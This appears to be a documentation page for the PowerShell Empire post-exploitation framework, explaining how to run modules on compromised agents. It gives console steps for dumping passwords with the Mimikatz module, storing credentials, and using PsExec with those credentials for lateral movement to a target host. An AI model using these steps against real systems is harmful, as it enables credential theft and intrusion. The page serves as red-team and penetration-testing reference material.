Skip to main content

5. Module Usage

Executing Modules on Agents​

Mimikatz password dump example​

(Empire) > usemodule credentials/mimikatz/logonpasswords
(Empire: credentials/mimikatz/logonpasswords) > set Agent <AGENT_NAME>
(Empire: credentials/mimikatz/logonpasswords) > execute
tip

Credentials extracted via credentials modules are stored within the credentials context menu of PowerShell-Empire. You can also manually add credentials:

(Empire) > usecredential add
(Empire usecredential/add) > set credtype plaintext
(Empire usecredential/add) > set domain <DOMAIN>
(Empire usecredential/add) > set username <USERNAME>
(Empire usecredential/add) > set password <PASSWORD>
(Empire usecredential/add) > generate

Other modules may require credential to be passed to them via the CredID option.

PSExec lateral movement example​

(Empire: <AGENT_NAME>) > usemodule lateral_movement/invoke_psexec
(Empire: lateral_movement/invoke_psexec) > set Listener http
(Empire: lateral_movement/invoke_psexec) > set CredID <CREDENTIAL_ID>
(Empire: lateral_movement/invoke_psexec) > set Target <TARGET_IP>
(Empire: lateral_movement/invoke_psexec) > execute

Help Menu​

usemodule Help
(Empire: usemodule/****/****) > help

┌Help Options───────────────────────────────────┬───────────────────┐
│ Name     │ Description                        │ Usage             │
├──────────┼────────────────────────────────────┼───────────────────┤
│ execute  │ Execute the selected module        │ execute           │
├──────────┼────────────────────────────────────┼───────────────────┤
│ generate │ Execute the selected module        │ generate          │
├──────────┼────────────────────────────────────┼───────────────────┤
│ help     │ Display the help menu for the      │ help              │
│          │ current menu                       │                   │
├──────────┼────────────────────────────────────┼───────────────────┤
│ info     │ Print default info on the current  │ info              │
│          │ record.                            │                   │
├──────────┼────────────────────────────────────┼───────────────────┤
│ options  │ Print the current record options   │ options           │
├──────────┼────────────────────────────────────┼───────────────────┤
│ set      │ Set a field for the current record │ set <key> <value> │
├──────────┼────────────────────────────────────┼───────────────────┤
│ unset    │ Unset a record option.             │ unset <key>       │
└──────────┴────────────────────────────────────┴───────────────────┘